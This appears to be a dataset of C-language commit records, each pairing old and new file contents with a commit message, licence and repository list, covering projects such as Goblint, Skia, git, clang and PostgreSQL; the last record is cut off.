#include <assert.h> #include <stdlib.h> int main(){ char* str = "Hello"; char* str2 = "Hello"; char* str3 = "hi"; char* str4 = "other string"; // Unknown since the there may be multiple copies of the same string __goblint_check(str != str2); // UNKNOWN! __goblint_check(str == str); __goblint_check(str != str3); char *ptr = NULL; int top = rand(); if(top){ ptr = str2; } else { ptr = str3; } __goblint_check(*ptr == *str); //UNKNOWN // This is unknwon due to only keeping one string pointer in abstract address sets __goblint_check(*ptr == *str4); //UNKNOWN char *ptr2 = unknown_function(); __goblint_check(ptr == ptr2); //UNKNOWN __goblint_check(ptr2 == str); //UNKNOWN return 0; }
Add checks to regression tests that unknown pointers and string pointers may be equal
Add checks to regression tests that unknown pointers and string pointers may be equal
C
mit
goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer,goblint/analyzer
6a7fdeffa49b5c52c8d3aadd09838eb028aa16ef
src/opts/SkBlitRow_opts_SSE4.h
src/opts/SkBlitRow_opts_SSE4.h
/* * Copyright 2014 The Android Open Source Project * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SkBlitRow_opts_SSE4_DEFINED #define SkBlitRow_opts_SSE4_DEFINED #include "SkBlitRow.h" /* Check if we are able to build assembly code, GCC/AT&T syntax. * Had problems with LLVM-GCC 4.2. */ #if defined(__clang__) || (defined(__GNUC__) && !defined(SK_BUILD_FOR_MAC)) extern "C" void S32A_Opaque_BlitRow32_SSE4_asm(SkPMColor* SK_RESTRICT dst, const SkPMColor* SK_RESTRICT src, int count, U8CPU alpha); #define SK_ATT_ASM_SUPPORTED #endif #endif
/* * Copyright 2014 The Android Open Source Project * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #ifndef SkBlitRow_opts_SSE4_DEFINED #define SkBlitRow_opts_SSE4_DEFINED #include "SkBlitRow.h" /* Check if we are able to build assembly code, GCC/AT&T syntax. * Had problems with LLVM-GCC 4.2. * MemorySanitizer cannot handle assembly code. */ #if (defined(__clang__) || (defined(__GNUC__) && !defined(SK_BUILD_FOR_MAC))) \ && !defined(MEMORY_SANITIZER) extern "C" void S32A_Opaque_BlitRow32_SSE4_asm(SkPMColor* SK_RESTRICT dst, const SkPMColor* SK_RESTRICT src, int count, U8CPU alpha); #define SK_ATT_ASM_SUPPORTED #endif #endif
Disable assembly code in MemorySanitizer builds.
Disable assembly code in MemorySanitizer builds. MemorySanitizer is an unitialized memory use detector which is used in Chromium, and does not presently support assembly code. BUG=chromium:344505, chromium:373739 [email protected] Review URL: https://codereview.chromium.org/367973005
C
bsd-3-clause
OptiPop/external_chromium_org_third_party_skia,HalCanary/skia-hc,YUPlayGodDev/platform_external_skia,PAC-ROM/android_external_skia,invisiblek/android_external_skia,MinimalOS/external_chromium_org_third_party_skia,scroggo/skia,Infinitive-OS/platform_external_skia,amyvmiwei/skia,MyAOSP/external_chromium_org_third_party_skia,Fusion-Rom/external_chromium_org_third_party_skia,AOSP-YU/platform_external_skia,MinimalOS/android_external_chromium_org_third_party_skia,AOSP-YU/platform_external_skia,w3nd1go/android_external_skia,HalCanary/skia-hc,YUPlayGodDev/platform_external_skia,ominux/skia,MinimalOS-AOSP/platform_external_skia,xin3liang/platform_external_chromium_org_third_party_skia,OneRom/external_skia,xin3liang/platform_external_chromium_org_third_party_skia,Igalia/skia,Omegaphora/external_chromium_org_third_party_skia,TeamEOS/external_chromium_org_third_party_skia,Jichao/skia,invisiblek/android_external_skia,Igalia/skia,ominux/skia,PAC-ROM/android_external_skia,geekboxzone/mmallow_external_skia,Infinitive-OS/platform_external_skia,scroggo/skia,scroggo/skia,TeamEOS/external_chromium_org_third_party_skia,spezi77/android_external_skia,Igalia/skia,OptiPop/external_chromium_org_third_party_skia,OptiPop/external_chromium_org_third_party_skia,pcwalton/skia,VRToxin-AOSP/android_external_skia,chenlian2015/skia_from_google,MonkeyZZZZ/platform_external_skia,FusionSP/external_chromium_org_third_party_skia,DiamondLovesYou/skia-sys,TeamExodus/external_skia,TeamEOS/external_chromium_org_third_party_skia,geekboxzone/mmallow_external_skia,android-ia/platform_external_chromium_org_third_party_skia,tmpvar/skia.cc,nvoron23/skia,amyvmiwei/skia,samuelig/skia,Jichao/skia,aosp-mirror/platform_external_skia,MonkeyZZZZ/platform_external_skia,rubenvb/skia,geekboxzone/lollipop_external_chromium_org_third_party_skia,AOSPB/external_skia,Fusion-Rom/external_chromium_org_third_party_skia,spezi77/android_external_skia,MarshedOut/android_external_skia,Fusion-Rom/external_chromium_org_third_party_skia,noselhq/skia,mydongistiny/external_chromium_org_third_party_skia,DARKPOP/external_chromium_org_third_party_skia,OneRom/external_skia,PAC-ROM/android_external_skia,geekboxzone/mmallow_external_skia,noselhq/skia,MyAOSP/external_chromium_org_third_party_skia,MonkeyZZZZ/platform_external_skia,tmpvar/skia.cc,todotodoo/skia,google/skia,Hikari-no-Tenshi/android_external_skia,vanish87/skia,UBERMALLOW/external_skia,MinimalOS-AOSP/platform_external_skia,TeamTwisted/external_skia,MinimalOS/android_external_chromium_org_third_party_skia,aosp-mirror/platform_external_skia,Igalia/skia,MinimalOS-AOSP/platform_external_skia,UBERMALLOW/external_skia,google/skia,TeamExodus/external_skia,Hikari-no-Tenshi/android_external_skia,MyAOSP/external_chromium_org_third_party_skia,jtg-gg/skia,DARKPOP/external_chromium_org_third_party_skia,vanish87/skia,MIPS/external-chromium_org-third_party-skia,samuelig/skia,Infinitive-OS/platform_external_skia,vanish87/skia,timduru/platform-external-skia,MinimalOS-AOSP/platform_external_skia,rubenvb/skia,OneRom/external_skia,ench0/external_chromium_org_third_party_skia,rubenvb/skia,AOSP-YU/platform_external_skia,DARKPOP/external_chromium_org_third_party_skia,rubenvb/skia,jtg-gg/skia,Fusion-Rom/external_chromium_org_third_party_skia,Igalia/skia,mydongistiny/external_chromium_org_third_party_skia,spezi77/android_external_skia,UBERMALLOW/external_skia,HalCanary/skia-hc,google/skia,PAC-ROM/android_external_skia,shahrzadmn/skia,aosp-mirror/platform_external_skia,AOSP-YU/platform_external_skia,Fusion-Rom/external_chromium_org_third_party_skia,BrokenROM/external_skia,AOSPB/external_skia,TeamTwisted/external_skia,w3nd1go/android_external_skia,TeamExodus/external_skia,MinimalOS-AOSP/platform_external_skia,boulzordev/android_external_skia,TeamEOS/external_chromium_org_third_party_skia,YUPlayGodDev/platform_external_skia,boulzordev/android_external_skia,android-ia/platform_external_chromium_org_third_party_skia,scroggo/skia,MonkeyZZZZ/platform_external_skia,TeamExodus/external_skia,ench0/external_chromium_org_third_party_skia,AOSPB/external_skia,MarshedOut/android_external_skia,HalCanary/skia-hc,pcwalton/skia,nfxosp/platform_external_skia,ominux/skia,timduru/platform-external-skia,OptiPop/external_chromium_org_third_party_skia,TeamTwisted/external_skia,tmpvar/skia.cc,UBERMALLOW/external_skia,YUPlayGodDev/platform_external_skia,FusionSP/external_chromium_org_third_party_skia,qrealka/skia-hc,geekboxzone/mmallow_external_skia,HalCanary/skia-hc,ench0/external_chromium_org_third_party_skia,BrokenROM/external_skia,google/skia,xin3liang/platform_external_chromium_org_third_party_skia,google/skia,TeamExodus/external_skia,MIPS/external-chromium_org-third_party-skia,MyAOSP/external_chromium_org_third_party_skia,MarshedOut/android_external_skia,MinimalOS-AOSP/platform_external_skia,AOSP-YU/platform_external_skia,AOSP-YU/platform_external_skia,noselhq/skia,pcwalton/skia,amyvmiwei/skia,VRToxin-AOSP/android_external_skia,Infinitive-OS/platform_external_skia,ominux/skia,BrokenROM/external_skia,TeamExodus/external_skia,aosp-mirror/platform_external_skia,samuelig/skia,MinimalOS/external_chromium_org_third_party_skia,OneRom/external_skia,invisiblek/android_external_skia,todotodoo/skia,w3nd1go/android_external_skia,MinimalOS/external_chromium_org_third_party_skia,TeamTwisted/external_skia,Hikari-no-Tenshi/android_external_skia,MIPS/external-chromium_org-third_party-skia,DARKPOP/external_chromium_org_third_party_skia,Omegaphora/external_chromium_org_third_party_skia,nfxosp/platform_external_skia,MyAOSP/external_chromium_org_third_party_skia,Hikari-no-Tenshi/android_external_skia,invisiblek/android_external_skia,AOSPB/external_skia,spezi77/android_external_skia,BrokenROM/external_skia,ench0/external_chromium_org_third_party_skia,TeamTwisted/external_skia,nfxosp/platform_external_skia,shahrzadmn/skia,tmpvar/skia.cc,TeamEOS/external_chromium_org_third_party_skia,Omegaphora/external_chromium_org_third_party_skia,pcwalton/skia,ominux/skia,samuelig/skia,google/skia,amyvmiwei/skia,MinimalOS/android_external_chromium_org_third_party_skia,DARKPOP/external_chromium_org_third_party_skia,VRToxin-AOSP/android_external_skia,pcwalton/skia,ominux/skia,qrealka/skia-hc,invisiblek/android_external_skia,xin3liang/platform_external_chromium_org_third_party_skia,MinimalOS/android_external_chromium_org_third_party_skia,MinimalOS/external_chromium_org_third_party_skia,rubenvb/skia,VRToxin-AOSP/android_external_skia,samuelig/skia,noselhq/skia,TeamTwisted/external_skia,aosp-mirror/platform_external_skia,Infinitive-OS/platform_external_skia,nvoron23/skia,BrokenROM/external_skia,MyAOSP/external_chromium_org_third_party_skia,AOSPB/external_skia,nvoron23/skia,scroggo/skia,AOSP-YU/platform_external_skia,YUPlayGodDev/platform_external_skia,FusionSP/external_chromium_org_third_party_skia,MinimalOS/external_chromium_org_third_party_skia,TeamExodus/external_skia,todotodoo/skia,DiamondLovesYou/skia-sys,MinimalOS/external_chromium_org_third_party_skia,aosp-mirror/platform_external_skia,TeamEOS/external_chromium_org_third_party_skia,DARKPOP/external_chromium_org_third_party_skia,jtg-gg/skia,YUPlayGodDev/platform_external_skia,UBERMALLOW/external_skia,AOSP-YU/platform_external_skia,VRToxin-AOSP/android_external_skia,todotodoo/skia,TeamEOS/external_chromium_org_third_party_skia,geekboxzone/mmallow_external_skia,boulzordev/android_external_skia,google/skia,Jichao/skia,boulzordev/android_external_skia,YUPlayGodDev/platform_external_skia,Igalia/skia,aosp-mirror/platform_external_skia,DiamondLovesYou/skia-sys,Omegaphora/external_chromium_org_third_party_skia,shahrzadmn/skia,rubenvb/skia,rubenvb/skia,Igalia/skia,android-ia/platform_external_chromium_org_third_party_skia,MinimalOS-AOSP/platform_external_skia,MinimalOS-AOSP/platform_external_skia,FusionSP/external_chromium_org_third_party_skia,MinimalOS-AOSP/platform_external_skia,PAC-ROM/android_external_skia,samuelig/skia,HalCanary/skia-hc,Infinitive-OS/platform_external_skia,ominux/skia,pcwalton/skia,chenlian2015/skia_from_google,qrealka/skia-hc,Jichao/skia,FusionSP/external_chromium_org_third_party_skia,shahrzadmn/skia,Hikari-no-Tenshi/android_external_skia,noselhq/skia,MinimalOS/android_external_chromium_org_third_party_skia,noselhq/skia,todotodoo/skia,aosp-mirror/platform_external_skia,UBERMALLOW/external_skia,nfxosp/platform_external_skia,qrealka/skia-hc,rubenvb/skia,mydongistiny/external_chromium_org_third_party_skia,TeamTwisted/external_skia,AOSPB/external_skia,MinimalOS/android_external_chromium_org_third_party_skia,Jichao/skia,VRToxin-AOSP/android_external_skia,Omegaphora/external_chromium_org_third_party_skia,amyvmiwei/skia,Hikari-no-Tenshi/android_external_skia,PAC-ROM/android_external_skia,MinimalOS/android_external_chromium_org_third_party_skia,android-ia/platform_external_chromium_org_third_party_skia,BrokenROM/external_skia,ench0/external_chromium_org_third_party_skia,chenlian2015/skia_from_google,vanish87/skia,w3nd1go/android_external_skia,aosp-mirror/platform_external_skia,w3nd1go/android_external_skia,xin3liang/platform_external_chromium_org_third_party_skia,vanish87/skia,Fusion-Rom/external_chromium_org_third_party_skia,MarshedOut/android_external_skia,geekboxzone/lollipop_external_chromium_org_third_party_skia,YUPlayGodDev/platform_external_skia,jtg-gg/skia,boulzordev/android_external_skia,MonkeyZZZZ/platform_external_skia,Jichao/skia,PAC-ROM/android_external_skia,rubenvb/skia,mydongistiny/external_chromium_org_third_party_skia,tmpvar/skia.cc,TeamExodus/external_skia,nvoron23/skia,DiamondLovesYou/skia-sys,spezi77/android_external_skia,chenlian2015/skia_from_google,VRToxin-AOSP/android_external_skia,MarshedOut/android_external_skia,shahrzadmn/skia,noselhq/skia,qrealka/skia-hc,nfxosp/platform_external_skia,VRToxin-AOSP/android_external_skia,amyvmiwei/skia,ench0/external_chromium_org_third_party_skia,invisiblek/android_external_skia,MyAOSP/external_chromium_org_third_party_skia,Infinitive-OS/platform_external_skia,timduru/platform-external-skia,timduru/platform-external-skia,TeamTwisted/external_skia,pcwalton/skia,nfxosp/platform_external_skia,MonkeyZZZZ/platform_external_skia,geekboxzone/lollipop_external_chromium_org_third_party_skia,MonkeyZZZZ/platform_external_skia,mydongistiny/external_chromium_org_third_party_skia,vanish87/skia,HalCanary/skia-hc,qrealka/skia-hc,ominux/skia,samuelig/skia,TeamTwisted/external_skia,DARKPOP/external_chromium_org_third_party_skia,pcwalton/skia,boulzordev/android_external_skia,ominux/skia,YUPlayGodDev/platform_external_skia,MonkeyZZZZ/platform_external_skia,xin3liang/platform_external_chromium_org_third_party_skia,Omegaphora/external_chromium_org_third_party_skia,BrokenROM/external_skia,geekboxzone/lollipop_external_chromium_org_third_party_skia,Hikari-no-Tenshi/android_external_skia,geekboxzone/mmallow_external_skia,DARKPOP/external_chromium_org_third_party_skia,HalCanary/skia-hc,shahrzadmn/skia,tmpvar/skia.cc,PAC-ROM/android_external_skia,MinimalOS/external_chromium_org_third_party_skia,amyvmiwei/skia,todotodoo/skia,boulzordev/android_external_skia,Fusion-Rom/external_chromium_org_third_party_skia,ench0/external_chromium_org_third_party_skia,android-ia/platform_external_chromium_org_third_party_skia,timduru/platform-external-skia,nvoron23/skia,TeamEOS/external_chromium_org_third_party_skia,timduru/platform-external-skia,amyvmiwei/skia,nfxosp/platform_external_skia,OptiPop/external_chromium_org_third_party_skia,todotodoo/skia,scroggo/skia,MarshedOut/android_external_skia,Omegaphora/external_chromium_org_third_party_skia,google/skia,geekboxzone/mmallow_external_skia,tmpvar/skia.cc,boulzordev/android_external_skia,boulzordev/android_external_skia,vanish87/skia,xin3liang/platform_external_chromium_org_third_party_skia,android-ia/platform_external_chromium_org_third_party_skia,android-ia/platform_external_chromium_org_third_party_skia,Jichao/skia,MyAOSP/external_chromium_org_third_party_skia,nvoron23/skia,google/skia,MIPS/external-chromium_org-third_party-skia,w3nd1go/android_external_skia,shahrzadmn/skia,MIPS/external-chromium_org-third_party-skia,TeamExodus/external_skia,spezi77/android_external_skia,MarshedOut/android_external_skia,MIPS/external-chromium_org-third_party-skia,vanish87/skia,mydongistiny/external_chromium_org_third_party_skia,OptiPop/external_chromium_org_third_party_skia,Hikari-no-Tenshi/android_external_skia,Jichao/skia,OneRom/external_skia,android-ia/platform_external_chromium_org_third_party_skia,MIPS/external-chromium_org-third_party-skia,UBERMALLOW/external_skia,scroggo/skia,nfxosp/platform_external_skia,w3nd1go/android_external_skia,mydongistiny/external_chromium_org_third_party_skia,todotodoo/skia,jtg-gg/skia,geekboxzone/lollipop_external_chromium_org_third_party_skia,OptiPop/external_chromium_org_third_party_skia,scroggo/skia,vanish87/skia,OneRom/external_skia,chenlian2015/skia_from_google,timduru/platform-external-skia,invisiblek/android_external_skia,DiamondLovesYou/skia-sys,samuelig/skia,MinimalOS/android_external_chromium_org_third_party_skia,Jichao/skia,OneRom/external_skia,HalCanary/skia-hc,nfxosp/platform_external_skia,google/skia,MinimalOS/external_chromium_org_third_party_skia,Igalia/skia,AOSP-YU/platform_external_skia,shahrzadmn/skia,geekboxzone/lollipop_external_chromium_org_third_party_skia,Infinitive-OS/platform_external_skia,AOSPB/external_skia,chenlian2015/skia_from_google,MonkeyZZZZ/platform_external_skia,Fusion-Rom/external_chromium_org_third_party_skia,nvoron23/skia,ench0/external_chromium_org_third_party_skia,MIPS/external-chromium_org-third_party-skia,OneRom/external_skia,mydongistiny/external_chromium_org_third_party_skia,w3nd1go/android_external_skia,BrokenROM/external_skia,invisiblek/android_external_skia,nvoron23/skia,Infinitive-OS/platform_external_skia,geekboxzone/lollipop_external_chromium_org_third_party_skia,chenlian2015/skia_from_google,HalCanary/skia-hc,tmpvar/skia.cc,FusionSP/external_chromium_org_third_party_skia,geekboxzone/mmallow_external_skia,MarshedOut/android_external_skia,jtg-gg/skia,Omegaphora/external_chromium_org_third_party_skia,PAC-ROM/android_external_skia,aosp-mirror/platform_external_skia,OneRom/external_skia,noselhq/skia,MarshedOut/android_external_skia,noselhq/skia,shahrzadmn/skia,jtg-gg/skia,tmpvar/skia.cc,FusionSP/external_chromium_org_third_party_skia,AOSPB/external_skia,w3nd1go/android_external_skia,geekboxzone/mmallow_external_skia,pcwalton/skia,rubenvb/skia,FusionSP/external_chromium_org_third_party_skia,AOSPB/external_skia,DiamondLovesYou/skia-sys,qrealka/skia-hc,qrealka/skia-hc,OptiPop/external_chromium_org_third_party_skia,geekboxzone/lollipop_external_chromium_org_third_party_skia,nvoron23/skia,todotodoo/skia,VRToxin-AOSP/android_external_skia,DiamondLovesYou/skia-sys,UBERMALLOW/external_skia,UBERMALLOW/external_skia
612b95ba94af1bf3a2459dcec6a578c381374dc9
inc/types.h
inc/types.h
#pragma once #include <Eigen/Dense> namespace model { #if BICYCLE_USE_DOUBLE_PRECISION_REAL using real_t = double; #else using real_t = float; #endif } // namespace model
#pragma once namespace model { #if BICYCLE_USE_DOUBLE_PRECISION_REAL using real_t = double; #else using real_t = float; #endif } // namespace model
Remove Eigen/Dense include in type header
Remove Eigen/Dense include in type header
C
bsd-2-clause
oliverlee/bicycle,oliverlee/bicycle
75dc6c7cb879d0018893baf6ba6b49d1f16e1b92
unpack-trees.h
unpack-trees.h
#ifndef UNPACK_TREES_H #define UNPACK_TREES_H #define MAX_UNPACK_TREES 8 struct unpack_trees_options; typedef int (*merge_fn_t)(struct cache_entry **src, struct unpack_trees_options *options); struct unpack_trees_options { int reset; int merge; int update; int index_only; int nontrivial_merge; int trivial_merges_only; int verbose_update; int aggressive; int skip_unmerged; int gently; const char *prefix; int pos; struct dir_struct *dir; merge_fn_t fn; int head_idx; int merge_size; struct cache_entry *df_conflict_entry; void *unpack_data; struct index_state *dst_index; const struct index_state *src_index; struct index_state result; }; extern int unpack_trees(unsigned n, struct tree_desc *t, struct unpack_trees_options *options); int threeway_merge(struct cache_entry **stages, struct unpack_trees_options *o); int twoway_merge(struct cache_entry **src, struct unpack_trees_options *o); int bind_merge(struct cache_entry **src, struct unpack_trees_options *o); int oneway_merge(struct cache_entry **src, struct unpack_trees_options *o); #endif
#ifndef UNPACK_TREES_H #define UNPACK_TREES_H #define MAX_UNPACK_TREES 8 struct unpack_trees_options; typedef int (*merge_fn_t)(struct cache_entry **src, struct unpack_trees_options *options); struct unpack_trees_options { unsigned int reset:1, merge:1, update:1, index_only:1, nontrivial_merge:1, trivial_merges_only:1, verbose_update:1, aggressive:1, skip_unmerged:1, gently:1; const char *prefix; int pos; struct dir_struct *dir; merge_fn_t fn; int head_idx; int merge_size; struct cache_entry *df_conflict_entry; void *unpack_data; struct index_state *dst_index; const struct index_state *src_index; struct index_state result; }; extern int unpack_trees(unsigned n, struct tree_desc *t, struct unpack_trees_options *options); int threeway_merge(struct cache_entry **stages, struct unpack_trees_options *o); int twoway_merge(struct cache_entry **src, struct unpack_trees_options *o); int bind_merge(struct cache_entry **src, struct unpack_trees_options *o); int oneway_merge(struct cache_entry **src, struct unpack_trees_options *o); #endif
Make unpack_trees_options bit flags actual bitfields
Make unpack_trees_options bit flags actual bitfields Instead of wasting space with whole integers for a single bit. Signed-off-by: Linus Torvalds <[email protected]> Signed-off-by: Junio C Hamano <[email protected]>
C
mit
destenson/git,destenson/git,destenson/git,destenson/git,destenson/git,destenson/git,destenson/git,destenson/git
4478bc737ca39f5f7d1db4488a5aa2c0d8a793d2
scripts/reference-citation/URLcheck.c
scripts/reference-citation/URLcheck.c
reference(citation): URLcheck If [ $$stopFileNameCheck = 1 ] Exit Script [ ] End If If [ Filter ( reference::fileName ; "?" ) = "?" or Filter ( reference::fileName ; "#" ) = "#" or Filter ( reference::fileName ; ";" ) = ";" or Filter ( reference::fileName ; ":" ) = ":" ] Show Custom Dialog [ Message: "These special characters ? # ; : prevent the system from opening files. Remove them from your filename and then test the 'file' button above to insure it opens your file."; Buttons: “OK” ] Go to Field [ reference::fileName ] End If January 7, 平成26 17:54:06 Imagination Quality Management.fp7 - URLcheck -1-
reference(citation): URLcheck If [ $$stopFileNameCheck = 1 ] Exit Script [ ] End If If [ Filter ( reference::fileName ; "?" ) = "?" or Filter ( reference::fileName ; "#" ) = "#" or Filter ( reference::fileName ; ";" ) = ";" or Filter ( reference::fileName ; "/" ) = "/" or Filter ( reference::fileName ; ":" ) = ":" ] Show Custom Dialog [ Message: "These special characters ? # / ; : prevent the system from opening files. Remove them from your filename and then test the 'file' button above to insure it opens your file."; Buttons: “OK” ] Go to Field [ reference::fileName ] End If April 26, 平成26 14:17:47 Imagination Quality Management.fp7 - URLcheck -1-
Add slash = / to warning message
Add slash = / to warning message Add slash = / to warning message for file name character that prevent library from opening them.
C
apache-2.0
HelpGiveThanks/Library,HelpGiveThanks/Library
0e02d81608e0054a79b3760dc0af526df43f71e0
Apptentive/Apptentive/Engagement/Model/ApptentiveConversationMetadataItem.h
Apptentive/Apptentive/Engagement/Model/ApptentiveConversationMetadataItem.h
// // ApptentiveConversationMetadataItem.h // Apptentive // // Created by Frank Schmitt on 2/20/17. // Copyright © 2017 Apptentive, Inc. All rights reserved. // #import <Foundation/Foundation.h> typedef NS_ENUM(NSInteger, ApptentiveConversationState) { ApptentiveConversationStateNone = 0, ApptentiveConversationStateAnonymousPending, ApptentiveConversationStateAnonymous, ApptentiveConversationStateLoggedIn, ApptentiveConversationStateLoggedOut }; @interface ApptentiveConversationMetadataItem : NSObject <NSSecureCoding> - (instancetype)initWithConversationIdentifier:(NSString *)conversationIdentifier filename:(NSString *)filename; @property (assign, nonatomic) ApptentiveConversationState state; @property (strong, nonatomic) NSString *conversationIdentifier; @property (strong, nonatomic) NSString *fileName; @end
// // ApptentiveConversationMetadataItem.h // Apptentive // // Created by Frank Schmitt on 2/20/17. // Copyright © 2017 Apptentive, Inc. All rights reserved. // #import <Foundation/Foundation.h> typedef NS_ENUM(NSInteger, ApptentiveConversationState) { ApptentiveConversationStateUndefined = 0, ApptentiveConversationStateAnonymousPending, ApptentiveConversationStateAnonymous, ApptentiveConversationStateLoggedIn, ApptentiveConversationStateLoggedOut }; @interface ApptentiveConversationMetadataItem : NSObject <NSSecureCoding> - (instancetype)initWithConversationIdentifier:(NSString *)conversationIdentifier filename:(NSString *)filename; @property (assign, nonatomic) ApptentiveConversationState state; @property (strong, nonatomic) NSString *conversationIdentifier; @property (strong, nonatomic) NSString *fileName; @end
Update name of null state to match Android
Update name of null state to match Android
C
bsd-3-clause
apptentive/apptentive-ios,apptentive/apptentive-ios,apptentive/apptentive-ios
9f49055456049bdff41f61231553d29573fac184
test/Analysis/uninit-vals-ps.c
test/Analysis/uninit-vals-ps.c
// RUN: clang -checker-simple -verify %s struct FPRec { void (*my_func)(int * x); }; int bar(int x); int f1_a(struct FPRec* foo) { int x; (*foo->my_func)(&x); return bar(x)+1; // no-warning } int f1_b() { int x; return bar(x)+1; // expected-warning{{Pass-by-value argument in function is undefined.}} } int f2() { int x; if (x+1) // expected-warning{{Branch}} return 1; return 2; } int f2_b() { int x; return ((x+1)+2+((x))) + 1 ? 1 : 2; // expected-warning{{Branch}} } int f3(void) { int i; int *p = &i; if (*p > 0) // expected-warning{{Branch condition evaluates to an uninitialized value}} return 0; else return 1; }
// RUN: clang -checker-simple -verify %s && // RUN: clang -checker-simple -analyzer-store-region -verify %s struct FPRec { void (*my_func)(int * x); }; int bar(int x); int f1_a(struct FPRec* foo) { int x; (*foo->my_func)(&x); return bar(x)+1; // no-warning } int f1_b() { int x; return bar(x)+1; // expected-warning{{Pass-by-value argument in function is undefined.}} } int f2() { int x; if (x+1) // expected-warning{{Branch}} return 1; return 2; } int f2_b() { int x; return ((x+1)+2+((x))) + 1 ? 1 : 2; // expected-warning{{Branch}} } int f3(void) { int i; int *p = &i; if (*p > 0) // expected-warning{{Branch condition evaluates to an uninitialized value}} return 0; else return 1; }
Enable test file for 'region store' in addition to basic store.
Enable test file for 'region store' in addition to basic store. git-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@59762 91177308-0d34-0410-b5e6-96231b3b80d8
C
apache-2.0
apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,apple/swift-clang,llvm-mirror/clang,llvm-mirror/clang
bcc883fed382acb90216a8158f6bf62329581194
src/include/port/i386_solaris.h
src/include/port/i386_solaris.h
# define USE_POSIX_TIME # define USE_POSIX_SIGNALS # define NO_EMPTY_STMTS # define SYSV_DIRENT # define HAS_TEST_AND_SET typedef unsigned char slock_t; #include <sys/isa_defs.h> #ifndef BIG_ENDIAN #define BIG_ENDIAN 4321 #endif #ifndef LITTLE_ENDIAN #define LITTLE_ENDIAN 1234 #endif #ifndef PDP_ENDIAN #define PDP_ENDIAN 3412 #endif #ifndef BYTE_ORDER #define BYTE_ORDER LITTLE_ENDIAN #endif #ifndef NAN #ifndef __nan_bytes #define __nan_bytes { 0, 0, 0, 0, 0, 0, 0xf8, 0x7f } #endif /* __nan_bytes */ #ifdef __GNUC__ #define NAN \ (__extension__ ((union { unsigned char __c[8]; \ double __d; }) \ { __nan_bytes }).__d) #else /* Not GCC. */ #define NAN (*(__const double *) __nan) #endif /* GCC. */ #endif /* NAN */ #ifndef index #define index strchr #endif #ifndef HAVE_RUSAGE #define HAVE_RUSAGE 1 #endif
# define USE_POSIX_TIME # define USE_POSIX_SIGNALS # define NO_EMPTY_STMTS # define SYSV_DIRENT # define HAS_TEST_AND_SET typedef unsigned char slock_t; #include <sys/isa_defs.h> #ifndef BIG_ENDIAN #define BIG_ENDIAN 4321 #endif #ifndef LITTLE_ENDIAN #define LITTLE_ENDIAN 1234 #endif #ifndef PDP_ENDIAN #define PDP_ENDIAN 3412 #endif #ifndef BYTE_ORDER #define BYTE_ORDER LITTLE_ENDIAN #endif #ifndef NAN #ifndef __nan_bytes #define __nan_bytes { 0, 0, 0, 0, 0, 0, 0xf8, 0x7f } #endif /* __nan_bytes */ #ifdef __GNUC__ #define NAN \ (__extension__ ((union { unsigned char __c[8]; \ double __d; }) \ { __nan_bytes }).__d) #else /* Not GCC. */ #define NAN (*(__const double *) __nan) #endif /* GCC. */ #endif /* NAN */ #ifndef index #define index strchr #endif
Remove HAVE_USAGE because it is no longer used.
Remove HAVE_USAGE because it is no longer used.
C
apache-2.0
Chibin/gpdb,lintzc/gpdb,zaksoup/gpdb,randomtask1155/gpdb,adam8157/gpdb,Chibin/gpdb,CraigHarris/gpdb,Quikling/gpdb,tangp3/gpdb,zeroae/postgres-xl,greenplum-db/gpdb,Chibin/gpdb,jmcatamney/gpdb,yazun/postgres-xl,rvs/gpdb,greenplum-db/gpdb,tpostgres-projects/tPostgres,tangp3/gpdb,chrishajas/gpdb,Chibin/gpdb,kaknikhil/gpdb,atris/gpdb,ashwinstar/gpdb,tangp3/gpdb,yuanzhao/gpdb,Chibin/gpdb,rvs/gpdb,ahachete/gpdb,oberstet/postgres-xl,kaknikhil/gpdb,CraigHarris/gpdb,lisakowen/gpdb,oberstet/postgres-xl,chrishajas/gpdb,rubikloud/gpdb,pavanvd/postgres-xl,edespino/gpdb,xinzweb/gpdb,greenplum-db/gpdb,xinzweb/gpdb,janebeckman/gpdb,edespino/gpdb,ashwinstar/gpdb,janebeckman/gpdb,yuanzhao/gpdb,Chibin/gpdb,ovr/postgres-xl,foyzur/gpdb,zaksoup/gpdb,CraigHarris/gpdb,lintzc/gpdb,CraigHarris/gpdb,zeroae/postgres-xl,jmcatamney/gpdb,postmind-net/postgres-xl,rubikloud/gpdb,lisakowen/gpdb,Quikling/gpdb,chrishajas/gpdb,ashwinstar/gpdb,snaga/postgres-xl,0x0FFF/gpdb,lisakowen/gpdb,postmind-net/postgres-xl,atris/gpdb,lintzc/gpdb,yuanzhao/gpdb,greenplum-db/gpdb,0x0FFF/gpdb,xuegang/gpdb,rubikloud/gpdb,xinzweb/gpdb,zaksoup/gpdb,Quikling/gpdb,kaknikhil/gpdb,randomtask1155/gpdb,xinzweb/gpdb,cjcjameson/gpdb,50wu/gpdb,ovr/postgres-xl,jmcatamney/gpdb,royc1/gpdb,lintzc/gpdb,kaknikhil/gpdb,lpetrov-pivotal/gpdb,snaga/postgres-xl,xinzweb/gpdb,kmjungersen/PostgresXL,janebeckman/gpdb,janebeckman/gpdb,50wu/gpdb,pavanvd/postgres-xl,kaknikhil/gpdb,xuegang/gpdb,arcivanov/postgres-xl,CraigHarris/gpdb,Quikling/gpdb,cjcjameson/gpdb,xinzweb/gpdb,0x0FFF/gpdb,cjcjameson/gpdb,tangp3/gpdb,zeroae/postgres-xl,ahachete/gpdb,edespino/gpdb,randomtask1155/gpdb,xuegang/gpdb,janebeckman/gpdb,royc1/gpdb,chrishajas/gpdb,janebeckman/gpdb,0x0FFF/gpdb,rubikloud/gpdb,Quikling/gpdb,adam8157/gpdb,foyzur/gpdb,chrishajas/gpdb,randomtask1155/gpdb,greenplum-db/gpdb,rvs/gpdb,royc1/gpdb,rubikloud/gpdb,rvs/gpdb,ovr/postgres-xl,rubikloud/gpdb,cjcjameson/gpdb,rvs/gpdb,yazun/postgres-xl,zeroae/postgres-xl,kmjungersen/PostgresXL,snaga/postgres-xl,lpetrov-pivotal/gpdb,foyzur/gpdb,lpetrov-pivotal/g